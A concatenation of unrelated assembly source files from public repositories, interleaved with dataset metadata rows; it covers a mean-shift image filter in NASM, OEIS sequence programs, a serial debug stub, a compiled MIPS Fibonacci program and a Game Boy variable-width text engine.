CALLED BY: INTERNAL ()
PASS: al - char to 'unget'
RETURN:
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
UngetChar proc near
FAF_local local FAF_stackFrame
.enter inherit near
; NOTE! : Changed the code below so that an *INTEGER*,
; not byte, decrement is performed to solve mysterious
; float/parse errors if a numeric string just happened
; to end of a 256-byte boundary. -Don 5/16/00
;;; LocalPrevChar FAF_local.sourceAddr.offset
LocalPrevChar FAF_local.sourceAddr
dec FAF_local.numCharsRead
.leave
ret
UngetChar endp
| 21.571235 | 81 | 0.605108 |
e91f1aa309cf7cbbc9a451b04936e3f499c592e8 | 5,979 | asm | Assembly | CPP&NASM/asm.asm | batekmc/meanshift | 1f12cb4d50cd1c79f8865a3659f1d1e43c3c99f8 | [
"BSD-Source-Code"
] | null | null | null | CPP&NASM/asm.asm | batekmc/meanshift | 1f12cb4d50cd1c79f8865a3659f1d1e43c3c99f8 | [
"BSD-Source-Code"
] | null | null | null | CPP&NASM/asm.asm | batekmc/meanshift | 1f12cb4d50cd1c79f8865a3659f1d1e43c3c99f8 | [
"BSD-Source-Code"
] | null | null | null | ;TEST - ZMENA BARVY VSECH PIXELU
;push rbx
;mov rbx, [R9 + 4]
;xor rax, rax
;mov rax, rdx ; i
;mul rbx ; XP * i
;add eax, ecx ; XP * i + j
;mov [ rsi + rax ], byte 130
;pop rbx
bits 64
section .data
triCtvrtiny dd 0.75
maxIteraci dq 500
minPosun dd 0.002
section .text
extern sqrtf
global meanShift
; meanShift
; (
; 1 unsigned char *imageMatrix,
; 2 unsigned char *resultMatrix,
; 3 int xP,
; 4 int yP,
; 5 unsigned char color,
; 6 struct Hodnoty H - int x, y, colorDiff, radius, radiusE2
; )
; 1-RDI, 2-RSI, 3-RDX, 4-RCX, 5-R8 a 6-R9.
meanShift:
enter 124, 0
mov [rbp - 88], rbx
mov [rbp - 96], r12
mov [rbp - 104], r13
mov [rbp - 112], r14
mov [rbp - 120], r15
mov [rbp - 124], edx
movzx r8d, r8b
cvtsi2ss xmm8, r8d ; rootColor
xorps xmm9, xmm9 ; xyzSum[2]
xorps xmm10, xmm10 ; xyzSum[1]
xorps xmm11, xmm11 ; xyzSum[0]
xorps xmm12, xmm12 ; windowSum
cvtsi2ss xmm14, edx ; X
cvtsi2ss xmm15, ecx ; Y
xor r11, r11 ; iterace
.whileTrue: ; cyklus konvergence
;vypocet velikosti okna
;I--
cvtsi2ss xmm1, [R9 + 12]
movss xmm0, xmm14 ; x
subss xmm0, xmm1 ; x - radius
cvtss2si r14, xmm0 ; i
dec r14 ; i--
addss xmm0, xmm1 ; x += radius
addss xmm0, xmm1
cvtss2si r12, xmm0 ; i - ukoncovaci podminka
inc r12
;J--
movss xmm0, xmm15 ; y
subss xmm0, xmm1 ; y - radius
cvtss2si r15, xmm0 ; j0
dec r15 ; j0--
addss xmm0, xmm1 ; j0 += radius
addss xmm0, xmm1
cvtss2si r13, xmm0 ; j0 - ukoncovaci podminka
inc r13
;;;;OKRAJE OBRAZU;;;;
xor rax, rax
cmp r14, 0
cmovl r14, rax
cmp r15, 0
cmovl r15, rax
; test ukoncovaci podminky
cmp r12, 0
cmovl r12, rax
cmp r13d, 0
cmovl r13, rax
cmp r12d, dword [R9]
cmovg r12d, dword [R9]
cmp r13d, dword [R9 + 4]
cmovg r13d, dword [R9 + 4]
; konec vypoctu velikosti okna-------------------------------
.outerFor: ;dva zanorene for cykly
mov r10, r15 ; j
.innerFor:
cmp r14d, dword [R9]
jge .toOuterFor ; break
cmp r10d, dword [R9 + 4]
jge .toOuterFor ; break
xorps xmm13, xmm13 ; sum = 0
;\\\\\\\//KRUH\\////////
cvtsi2ss xmm0, r14d
subss xmm0, xmm14
mulss xmm0, xmm0
cvtsi2ss xmm1, r10d
subss xmm1, xmm15
mulss xmm1, xmm1
addss xmm0, xmm1
cvtsi2ss xmm1, [R9 + 16]
;//////////\\\\\\\\\\\\
; ( (i - x) * (i - x) + (j - y ) * (j - y) <= radiusE2 )
comiss xmm0, xmm1
ja .neOdpovida
;index
mov rax, r14
mul dword [r9 + 4]
add rax, r10
movzx ebx, byte [rdi + rax] ; opr...
cvtsi2ss xmm7, ebx ; child color
movss xmm6, xmm7 ; roz
subss xmm6, xmm8
xorps xmm0, xmm0
comiss xmm6, xmm0
movq rbx, xmm6 ; absolutni hodnota
and ebx, 0x7fffffff
movq xmm6, rbx
.notRoz:
cvtsi2ss xmm5, [R9 + 8] ; colorDiff
subss xmm5, xmm6 ; colorDiff - roz
xorps xmm0, xmm0
comiss xmm5, xmm0
jb .neOdpovida ; odpovida boda parametrum?
;xxd, yyd a zzd nejsou glob, bo je neni potreba mimo tuto podminku
cvtsi2ss xmm1, [R9 + 12]
movss xmm6, xmm14
cvtsi2ss xmm3, r14d
subss xmm6, xmm3
divss xmm6, xmm1 ; (x - i) / radius
movss xmm5, xmm15
cvtsi2ss xmm3, r10d
subss xmm5, xmm3
divss xmm5, xmm1 ; (y - i )/ radius
movss xmm4, xmm8
subss xmm4, xmm7
cvtsi2ss xmm1, [R9 + 8]
divss xmm4, xmm1 ; (rootColor - childColor) / colorDiff
movss xmm13, xmm6
mulss xmm13, xmm13
mulss xmm5, xmm5
mulss xmm4, xmm4
addss xmm13, xmm5
addss xmm13, xmm4 ; sum = xxd*xxd + yyd*yyd + zzd*zzd
; KERNEL (Epanechnikov)
mov eax, 1
cvtsi2ss xmm0, eax
comiss xmm13, xmm0
jb .eofKernel1
xorps xmm13, xmm13
jmp .eofKernel2
.eofKernel1:
mulss xmm13, xmm13
subss xmm0, xmm13
movss xmm13, [triCtvrtiny]
mulss xmm13, xmm0 ; sum = 0.75f * ( 1 - sum * sum )
.eofKernel2:
addss xmm12, xmm13 ; windowSum += sum
cvtsi2ss xmm0, r14d
mulss xmm0, xmm13
addss xmm11, xmm0 ; xyzSum[0]
cvtsi2ss xmm0, r10d
mulss xmm0, xmm13
addss xmm10, xmm0 ; xyzSum[1]
mulss xmm13, xmm7
addss xmm9, xmm13 ; xyzSum[2]
.neOdpovida: ; bod neodpovida parametrum, nebo je mimo kruh
inc r10 ; j++
cmp r10, r13 ; ukonceni innerFor
je .toOuterFor
jmp .innerFor
.toOuterFor:
inc r14 ; i++
cmp r14, r12 ; podminka vnejsi for
je .toWhileTrue
jmp .outerFor
.toWhileTrue: ; ukonceni obou for cyklu
xorps xmm0, xmm0
comiss xmm12, xmm0
divss xmm11, xmm12 ; xyzSum[0] /= windowSum
divss xmm10, xmm12 ; xyzSum[1] /= windowSum
divss xmm9, xmm12 ; xyzSum[2] /= windowSum
;_VEKTOR POSUNU_
movss xmm0, xmm11
subss xmm0, xmm14
mulss xmm0, xmm0
movss xmm1, xmm10
subss xmm1, xmm15
mulss xmm1, xmm1
movss xmm2, xmm9
subss xmm2, xmm8
mulss xmm2, xmm2
addss xmm0, xmm1
addss xmm0, xmm2
mov [rbp - 32], r11
mov [rbp - 40], r9
mov [rbp - 48], rcx
mov [rbp - 56], rdx
mov [rbp - 64], rsi
mov [rbp - 72], rdi
mov [rbp - 80], r11
movss [rbp -4], xmm8
movss [rbp -8], xmm9
movss [rbp -12], xmm10
movss [rbp -16], xmm11
movss [rbp -20], xmm14
movss [rbp -24], xmm15
call sqrtf ; posun
; sqrt((xyzSum[0] - x) * (xyzSum[0] - x) + (xyzSum[1] - y) * (xyzSum[1] - y) +
; (xyzSum[2] - rootColor) * (xyzSum[2] - rootColor))
mov r11, [rbp - 32]
mov r9, [rbp - 40]
mov rcx, [rbp - 48]
mov rdx, [rbp - 56]
mov rsi, [rbp - 64]
mov rdi, [rbp - 72]
mov r11, [rbp - 80]
movss xmm8, [rbp -4]
movss xmm9, [rbp -8]
movss xmm10,[rbp -12]
movss xmm11,[rbp -16]
movss xmm14,[rbp -20]
movss xmm15,[rbp -24]
inc r11
; ukoncovaci podminka---
cmp r11d, dword [maxIteraci]
jge .konec
movss xmm1, [minPosun]
comiss xmm0, xmm1
jb .konec
; -----------------------
movss xmm14, xmm11
movss xmm15, xmm10
movss xmm8, xmm9
xorps xmm11, xmm11
xorps xmm10, xmm10
xorps xmm9, xmm9
xorps xmm12, xmm12
jmp .whileTrue
.konec:
mov eax, [rbp - 124]
mul dword [r9 + 4]
add eax, ecx
cvtss2si ebx, xmm9
mov [rsi + rax], bl
movss xmm0, xmm9
mov rbx, [rbp - 88]
mov r12, [rbp - 96]
mov r13, [rbp - 104]
mov r14, [rbp - 112]
mov r15, [rbp - 120]
leave
ret
| 16.701117 | 79 | 0.62201 |
bedc3a7e37a72ea7c3dd054f85b8a75262e70e61 | 547 | asm | Assembly | programs/oeis/099/A099358.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/099/A099358.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/099/A099358.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A099358: a(n) = sum of digits of k^4 as k runs from 1 to n.
; 1,8,17,30,43,61,68,87,105,106,122,140,162,184,202,227,246,273,283,290,317,339,370,397,422,459,477,505,530,539,561,592,619,644,663,699,727,752,770,783,814,841,866,903,921,958,1001,1028,1059,1072,1099,1124,1161
mov $5,$0
add $5,1
mov $6,$0
lpb $5
mov $0,$6
sub $5,1
sub $0,$5
add $0,1
pow $0,4
mov $4,1
lpb $0
mov $2,$0
div $0,10
mod $2,10
add $4,1
add $4,$2
sub $4,1
lpe
mov $0,5
add $0,$4
mov $3,$0
sub $3,6
add $1,$3
lpe
mov $0,$1
| 18.862069 | 210 | 0.577697 |
983e641ded290c4e8eb9aa2120c5c1e0d92cbbeb | 361 | asm | Assembly | oeis/021/A021233.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021233.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021233.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021233: Decimal expansion of 1/229.
; Submitted by Jon Maiga
; 0,0,4,3,6,6,8,1,2,2,2,7,0,7,4,2,3,5,8,0,7,8,6,0,2,6,2,0,0,8,7,3,3,6,2,4,4,5,4,1,4,8,4,7,1,6,1,5,7,2,0,5,2,4,0,1,7,4,6,7,2,4,8,9,0,8,2,9,6,9,4,3,2,3,1,4,4,1,0,4,8,0,3,4,9,3,4,4,9,7,8,1,6,5,9,3,8,8,6
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $2,23
mul $3,10
lpe
mov $0,$2
mod $0,10
| 24.066667 | 199 | 0.545706 |
000fe262e1d451606b4a0c293861775825a14977 | 5,946 | asm | Assembly | 9LAB/test5.asm | RustyRaptor/compilers | 2f27179a9219ee61ed4e32b7fd4802e22aa19863 | [
"Unlicense"
] | null | null | null | 9LAB/test5.asm | RustyRaptor/compilers | 2f27179a9219ee61ed4e32b7fd4802e22aa19863 | [
"Unlicense"
] | null | null | null | 9LAB/test5.asm | RustyRaptor/compilers | 2f27179a9219ee61ed4e32b7fd4802e22aa19863 | [
"Unlicense"
] | null | null | null |
# Package fibinaci
.data # start of the DATA section, strings first
_L0: .asciiz "in fib" # global string
_L1: .asciiz "hello" # global string
_NL: .asciiz "\n "# New line
.align 2 # start all of global variable aligned
y: .word 7 # define a global variable with initial value
Z: .space 4 # define a global variable
A: .space 400 # define a global variable
x: .word 1 # define a global variable with initial value
.text
.globl main
fib: #Start of Function
subu $t0 $sp 44 #set up $t0 to be the new spot for SP
sw $ra ($t0) #Store the return address
sw $sp 4($t0) #Store the old stack pointer
move $sp $t0 # set the stack pointer to the new value
sw $a0 8($sp) #copy function register to formal
la $a0 _L0 #get string address for print
li $v0, 4 #print a string
syscall
li $v0, 4 #print NEWLINE
la $a0, _NL #print NEWLINE string location
syscall
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a0 ($a0) #expression is identifier
sw $a0 16($sp) #store LHS of expression in memory
li $a0 0 # expresion a number
move $a1, $a0 #right hand side needs to be a1
lw $a0 16($sp) #fetch LHS of expression from memory
add $a1 ,$a1, 1 #EXPR LE add one to do compare
slt $a0 ,$a0, $a1 #EXPR LE
sw $a0 16($sp) #store RHS of expression in memory
beq $a0 $0 _L2 #IF branch to else part
li $a0 0 # expresion a number
lw $ra ($sp) # reset return address
lw $sp 4($sp) # reset stack pointer
jr $ra # return to our caller
j _L3 #IF S1 end
_L2: # ELSE target
_L3: # End of IF
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a0 ($a0) #expression is identifier
sw $a0 20($sp) #store LHS of expression in memory
li $a0 1 # expresion a number
move $a1, $a0 #right hand side needs to be a1
lw $a0 20($sp) #fetch LHS of expression from memory
slt $t2 ,$a0, $a1 #EXPR EQUAL
slt $t3 ,$a1, $a0 #EXPR EQUAL
nor $a0 ,$t2, $t3 #EXPR EQUAL
andi $a0 , 1 #EXPR EQUAL
sw $a0 20($sp) #store RHS of expression in memory
beq $a0 $0 _L4 #IF branch to else part
li $a0 1 # expresion a number
lw $ra ($sp) # reset return address
lw $sp 4($sp) # reset stack pointer
jr $ra # return to our caller
j _L5 #IF S1 end
_L4: # ELSE target
_L5: # End of IF
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a0 ($a0) #expression is identifier
sw $a0 24($sp) #store LHS of expression in memory
li $a0 1 # expresion a number
move $a1, $a0 #right hand side needs to be a1
lw $a0 24($sp) #fetch LHS of expression from memory
sub $a0, $a0, $a1 #EXPR SUB
sw $a0 24($sp) #store RHS of expression in memory
sw $a0 28($sp) # stor arg value in our runtime stack
#set up the A0 - A3 registers to call function
lw $a0 28($sp) # load parameter value from stack into hand shake register
# about to call a function, set up each parameter in the new activation record
jal fib #jump and link to function
sw $a0 40($sp) #store LHS of expression in memory
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a0 ($a0) #expression is identifier
sw $a0 32($sp) #store LHS of expression in memory
li $a0 2 # expresion a number
move $a1, $a0 #right hand side needs to be a1
lw $a0 32($sp) #fetch LHS of expression from memory
sub $a0, $a0, $a1 #EXPR SUB
sw $a0 32($sp) #store RHS of expression in memory
sw $a0 36($sp) # stor arg value in our runtime stack
#set up the A0 - A3 registers to call function
lw $a0 36($sp) # load parameter value from stack into hand shake register
# about to call a function, set up each parameter in the new activation record
jal fib #jump and link to function
move $a1, $a0 #right hand side needs to be a1
lw $a0 40($sp) #fetch LHS of expression from memory
add $a0, $a0, $a1 #EXPR ADD
sw $a0 40($sp) #store RHS of expression in memory
lw $ra ($sp) # reset return address
lw $sp 4($sp) # reset stack pointer
jr $ra # return to our caller
li $v0 0 # return NULL zero (0)
lw $ra ($sp) # reset return address
lw $sp 4($sp) # reset stack pointer
jr $ra # return to our caller
main: #Start of Function
subu $t0 $sp 32 #set up $t0 to be the new spot for SP
sw $ra ($t0) #Store the return address
sw $sp 4($t0) #Store the old stack pointer
move $sp $t0 # set the stack pointer to the new value
li $a0 4 # expresion a number
sw $a0 12($sp) # stor arg value in our runtime stack
#set up the A0 - A3 registers to call function
lw $a0 12($sp) # load parameter value from stack into hand shake register
# about to call a function, set up each parameter in the new activation record
jal fib #jump and link to function
sw $a0, 16($sp) #store RHS value in memory
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a1, 16($sp) # Get RHS stored value
sw $a1 ($a0) # ASSIGN final store
li $a0 5 # expresion a number
#print an INT
li $v0 1 #set up write call
syscall
li $v0, 4 #print NEWLINE
la $a0, _NL #print NEWLINE string location
syscall
la $a0 _L1 #get string address for print
li $v0, 4 #print a string
syscall
li $v0, 4 #print NEWLINE
la $a0, _NL #print NEWLINE string location
syscall
li $a0 8 #get Identifier offset
add $a0,$a0,$sp # we have direct reference to memory
lw $a0 ($a0) #expression is identifier
#print an INT
li $v0 1 #set up write call
syscall
li $v0, 4 #print NEWLINE
la $a0, _NL #print NEWLINE string location
syscall
li $v0 0 # return NULL zero (0)
lw $ra ($sp) # reset return address
lw $sp 4($sp) # reset stack pointer
li $v0, 10 #Main function ends
syscall #MAIN FUNCTION EXITS
| 33.217877 | 81 | 0.65153 |
a04b5837f2c909c927b7a0799971b955ac07653c | 7,807 | asm | Assembly | sav/engine/text_engine.asm | zzazzdzz/fools2019 | a0e9b7a100c13a9f08d202c90ca52498ae1d769b | [
"MIT"
] | 12 | 2018-10-26T12:00:31.000Z | 2020-06-10T01:10:35.000Z | sav/engine/text_engine.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 3 | 2019-03-07T14:25:42.000Z | 2019-03-09T23:17:02.000Z | sav/engine/text_engine.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 8 | 2019-01-17T16:04:47.000Z | 2021-10-21T01:11:40.000Z | ; *** text_engine.asm
; The custom VWF text engine.
CHAR_DEFINITION_SIZE equ 9
CHAR_TILE_BUFFER_SIZE equ 38
sWorkingBlocks:
sWorkingBlock1:
ds 8
sWorkingBlock2:
ds 8
TextEngineVarsStart:
sCurrentXPosition:
db 0
sCurrentCharIndex:
db 0
sCurrentTilemapIndex:
db 0
sBoldFace:
db 0
sCurrentCharOffset:
db 0
sParentTextBuffer:
dw 0
TextEngineVarsEnd:
; Reads a byte at [wPrintTextVWFSourceBank]:HL, returns in A.
; HL is incremented afterwards.
GetTextByte:
push bc
ld a, [wPrintTextVWFSourceBank]
call LdFromSRAMBank
inc hl
ld a, c
pop bc
ret
InitVariables:
xor a
ld hl, TextEngineVarsStart
ld bc, TextEngineVarsEnd - TextEngineVarsStart
call ByteFill
; fall through to ClearWorkingBlocks
ClearWorkingBlocks:
xor a
ld bc, 16
ld hl, sWorkingBlocks
jp ByteFill
; Main text printing function. Prints text at HL.
PrintTextVWF:
push hl
call GetTextByte
call InitVariables
call SpeechTextBox
pop hl
PrintTextVWFCommandProcessor:
call GetTextByte
and a
jr z, .done
cp $f0
jr nc, .command
cp $3e
jr z, .space
ld c, a
ld a, [sCurrentCharOffset]
add c
.space
call PutCharVWF
jr PrintTextVWFCommandProcessor
.command
sub $f0
ld c, a
ld b, 0
push hl
ld hl, VWFCommandsJumptable
add hl, bc
add hl, bc
ld a, [hli]
ld d, [hl]
ld e, a
pop hl
push de
ret
.done
ld hl, sParentTextBuffer
ld a, [hli]
or [hl]
jr nz, .printParent
call RotateBlocks
ld a, 3
ld [wPrintTextVWFSourceBank], a
ret
.printParent
ld b, [hl]
dec hl
ld c, [hl]
xor a
ld [hli], a
ld [hl], a
ld h, b
ld l, c
inc hl
inc hl
jr PrintTextVWFCommandProcessor
VWFCommandsJumptable:
dw TextCommandF0
dw TextCommandF1
dw TextCommandF2
dw TextCommandF3
dw TextCommandF4
dw TextCommandF5
dw TextCommandF6
dw TextCommandF7
dw TextCommandF8
dw TextCommandF9
dw TextCommandFA
dw TextCommandFB
dw PrintTextVWFCommandProcessor ; dummy
dw TextCommandFD
dw TextCommandFE
dw PrintTextVWFCommandProcessor ; also dummy
TextCommandF0:
push hl
call RestartMapMusic
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF1:
push hl
call RotateBlocks
call LoadBlinkingCursor
call Text_WaitBGMap
prepare_sram_call 2, ButtonSound
call CallInSRAMBank
call UnloadBlinkingCursor
call TextScroll
call TextScroll
call ClearWorkingBlocks
ld a, SCREEN_WIDTH * 2
ld [sCurrentTilemapIndex], a
xor a
ld [sCurrentXPosition], a
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF2:
push hl
call RotateBlocks
call ClearWorkingBlocks
ld a, SCREEN_WIDTH * 2
ld [sCurrentTilemapIndex], a
xor a
ld [sCurrentXPosition], a
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF3:
push hl
call RotateBlocks
call LoadBlinkingCursor
call Text_WaitBGMap
prepare_sram_call 2, ButtonSound
call CallInSRAMBank
call UnloadBlinkingCursor
TextCommandParagraph:
call ClearWorkingBlocks
coord hl, 1, 13
ld bc, $0412
call ClearBox
xor a
ld [sCurrentXPosition], a
ld [sCurrentCharIndex], a
ld [sCurrentTilemapIndex], a
ld c, 16
call DelayFrames
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF4:
push hl
call RotateBlocks
call LoadBlinkingCursor
call Text_WaitBGMap
prepare_sram_call 2, ButtonSound
call CallInSRAMBank
call UnloadBlinkingCursor
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF5:
ld bc, sParentTextBuffer
ld a, l
ld [bc], a
inc bc
ld a, h
ld [bc], a
call GetTextByte
ld b, a
call GetTextByte
ld h, a
ld l, b
jp PrintTextVWFCommandProcessor
TextCommandF6:
call GetTextByte
push hl
push af
call RotateBlocks
pop af
ld c, a
call DelayFrames
pop hl
jp PrintTextVWFCommandProcessor
TextCommandF7:
push hl
jp TextCommandParagraph
TextCommandF8:
call GetTextByte
ld [sCurrentCharOffset], a
jp PrintTextVWFCommandProcessor
TextCommandF9:
xor a
ld [sBoldFace], a
jp PrintTextVWFCommandProcessor
TextCommandFA:
ld a, 1
ld [sBoldFace], a
jp PrintTextVWFCommandProcessor
TextCommandFB:
call GetTextByte
push hl
and a
jr z, .medalFanfare
prepare_sram_call 0, PlayKassTheme
call CallInSRAMBank
jr .end
.medalFanfare
call RotateBlocks
prepare_sram_call 0, PlayMedalFanfare
call CallInSRAMBank
.end
pop hl
jp PrintTextVWFCommandProcessor
; Unused. There were plans to include a text command that makes the last
; interacted sprite face the player; but this was deemed unnecessary later.
FacePlayer:
farcall Script_faceplayer
call SafeUpdateSprites
call ReplaceKrisSprite
ret
TextCommandFD:
call GetTextByte
push hl
ld b, 1 ; SET_FLAG
ld e, a
ld d, 0
call EventFlagAction
pop hl
jp PrintTextVWFCommandProcessor
TextCommandFE:
call GetTextByte
ld d, a
call GetTextByte
ld e, a
call GetTextByte
ld h, a
ld l, e
ld a, d
ld [wPrintTextVWFSourceBank], a
jp PrintTextVWFCommandProcessor
RotateAndCopySingleLine:
push af
push de
push hl
ld b, [hl]
ld a, [sBoldFace]
and a
ld a, b
jr z, .noBold
srl b
or b
; A more advanced bold face algorithm; it was scrapped because it didn't
; work very well with the font I was using.
; See this for more information: https://i.imgur.com/bs8sD35.png
; srl a
; srl a
; cpl
; and b
; srl b
; or b
.noBold
ld b, a
ld c, 0
ld a, [sCurrentXPosition]
.shiftATimes
and a
jr z, .isZero
rr b
rr c
dec a
jr .shiftATimes
.isZero
ld h, d
ld l, e
ld de, 8
ld a, b
or [hl]
ld [hl], a
add hl, de
ld [hl], c
pop hl
pop de
pop af
ret
RotateBlocks:
push af
ld hl, $8ba0
ld bc, $0010
ld a, [sCurrentCharIndex]
inc a
cp CHAR_TILE_BUFFER_SIZE
jr c, .noOverflow
sub CHAR_TILE_BUFFER_SIZE
.noOverflow
ld [sCurrentCharIndex], a
call AddNTimes
ld de, sWorkingBlocks
call UpdateVRAMAndDelayFrame
ld bc, 8
ld hl, sWorkingBlock2
ld de, sWorkingBlock1
call CopyBytes
ld hl, sCurrentTilemapIndex
inc [hl]
pop af
ret
CopyCharToWorkingBlocks:
ld a, [hli]
push af
ld a, [sBoldFace]
and a
jr z, .noBold
pop af
inc a
push af
.noBold
ld a, 8
ld de, sWorkingBlock1
.eachByte
call RotateAndCopySingleLine
inc hl
inc de
dec a
jr nz, .eachByte
ld a, [sCurrentXPosition]
ld b, a
pop af
add b
inc a
cp 8
call nc, RotateBlocks
and 7
ld [sCurrentXPosition], a
ret
PutCharVWF:
push hl
ld bc, CHAR_DEFINITION_SIZE
ld hl, CharacterSet
dec a
call AddNTimes
call CopyCharToWorkingBlocks
pop hl
ret
UpdateVRAMAndDelayFrame:
di
ld c, 8
.waitHblank
ldh a, [rSTAT]
and %00000011
jr nz, .waitHblank
ld a, [de]
ld [hli], a
ld [hli], a
inc de
.waitNoHblank
ldh a, [rSTAT]
and %00000011
jr z, .waitNoHblank
dec c
jr nz, .waitHblank
.recalc
coord hl, 1, 14
ld a, [sCurrentTilemapIndex]
ld b, 0
ld c, a
add hl, bc
ld a, h
cp $c6
jr c, .ok
xor a
ld [sCurrentTilemapIndex], a
jr .recalc
.ok
ld a, [sCurrentCharIndex]
add $ba
ld [hl], a
ld a, $7C
ld [$C5F3], a
ld [$C5CB], a
inc a
ld [$C5F4], a
ei
jp DelayFrame
CharacterSet:
include "includes/charset.asm" | 17.783599 | 76 | 0.649673 |
fc231ee431efc838b360f9d0e2e56cc9fd623236 | 1,144 | asm | Assembly | playground/Gen1/Serial.asm | marcelocaetano/XSharp | 394f17cee63bfc9781ac8f6b1e21291caa9fc111 | [
"BSD-3-Clause"
] | 168 | 2017-08-05T18:23:29.000Z | 2022-03-31T19:33:13.000Z | playground/Gen1/Serial.asm | marcelocaetano/XSharp | 394f17cee63bfc9781ac8f6b1e21291caa9fc111 | [
"BSD-3-Clause"
] | 12 | 2017-09-19T13:24:16.000Z | 2020-09-03T09:42:19.000Z | playground/Gen1/Serial.asm | marcelocaetano/XSharp | 394f17cee63bfc9781ac8f6b1e21291caa9fc111 | [
"BSD-3-Clause"
] | 47 | 2017-08-13T04:12:40.000Z | 2022-03-29T18:25:19.000Z | ; Generated at 4/14/2019 1:59:47 AM
%ifndef Exclude_IOPort_Based_SerialInit
DebugStub_InitSerial:
mov DX, 0x1
mov AL, 0x0
Call DebugStub_WriteRegister
mov DX, 0x3
mov AL, 0x80
Call DebugStub_WriteRegister
mov DX, 0x0
mov AL, 0x1
Call DebugStub_WriteRegister
mov DX, 0x1
mov AL, 0x0
Call DebugStub_WriteRegister
mov DX, 0x3
mov AL, 0x3
Call DebugStub_WriteRegister
mov DX, 0x2
mov AL, 0xC7
Call DebugStub_WriteRegister
mov DX, 0x4
mov AL, 0x3
Call DebugStub_WriteRegister
DebugStub_InitSerial_Exit:
mov dword [INTs_LastKnownAddress], DebugStub_InitSerial_Exit
Ret
DebugStub_ComReadAL:
mov DX, 0x5
DebugStub_ComReadAL_Wait:
Call DebugStub_ReadRegister
test AL, 0x1
JE near DebugStub_ComReadAL_Wait
mov DX, 0x0
Call DebugStub_ReadRegister
DebugStub_ComReadAL_Exit:
mov dword [INTs_LastKnownAddress], DebugStub_ComReadAL_Exit
Ret
DebugStub_ComWrite8:
mov DX, 0x5
DebugStub_ComWrite8_Wait:
Call DebugStub_ReadRegister
test AL, 0x20
JE near DebugStub_ComWrite8_Wait
mov DX, 0x0
mov AL, byte [ESI]
Call DebugStub_WriteRegister
inc dword ESI
DebugStub_ComWrite8_Exit:
mov dword [INTs_LastKnownAddress], DebugStub_ComWrite8_Exit
Ret
%endif
| 17.333333 | 60 | 0.836538 |
8eb999d9e52d5d8855005238303fad72f5097f4a | 1,359 | asm | Assembly | programs/oeis/280/A280154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/280/A280154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/280/A280154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A280154: a(n) = 5*Lucas(n).
; 10,5,15,20,35,55,90,145,235,380,615,995,1610,2605,4215,6820,11035,17855,28890,46745,75635,122380,198015,320395,518410,838805,1357215,2196020,3553235,5749255,9302490,15051745,24354235,39405980,63760215,103166195,166926410,270092605,437019015,707111620,1144130635,1851242255,2995372890,4846615145,7841988035,12688603180,20530591215,33219194395,53749785610,86968980005,140718765615,227687745620,368406511235,596094256855,964500768090,1560595024945,2525095793035,4085690817980,6610786611015,10696477428995,17307264040010,28003741469005,45311005509015,73314746978020,118625752487035,191940499465055,310566251952090,502506751417145,813073003369235,1315579754786380,2128652758155615,3444232512941995,5572885271097610,9017117784039605,14590003055137215,23607120839176820,38197123894314035,61804244733490855,100001368627804890,161805613361295745,261806981989100635,423612595350396380,685419577339497015,1109032172689893395,1794451750029390410,2903483922719283805,4697935672748674215,7601419595467958020,12299355268216632235,19900774863684590255,32200130131901222490,52100904995585812745,84301035127487035235,136401940123072847980,220702975250559883215,357104915373632731195,577807890624192614410,934912805997825345605,1512720696622017960015,2447633502619843305620
seq $0,156279 ; 4 times the Lucas number A000032(n).
div $0,4
mul $0,5
| 194.142857 | 1,256 | 0.896983 |
881ae770d3c8971a2c19f328bb6598b0c371bd3b | 7,895 | asm | Assembly | Tests/base/Z80N/main.i.asm | MrKWatkins/ZXSpectrumNextTests | d22f01338ef15b788bd324a32ba9c5ac335f71a3 | [
"MIT"
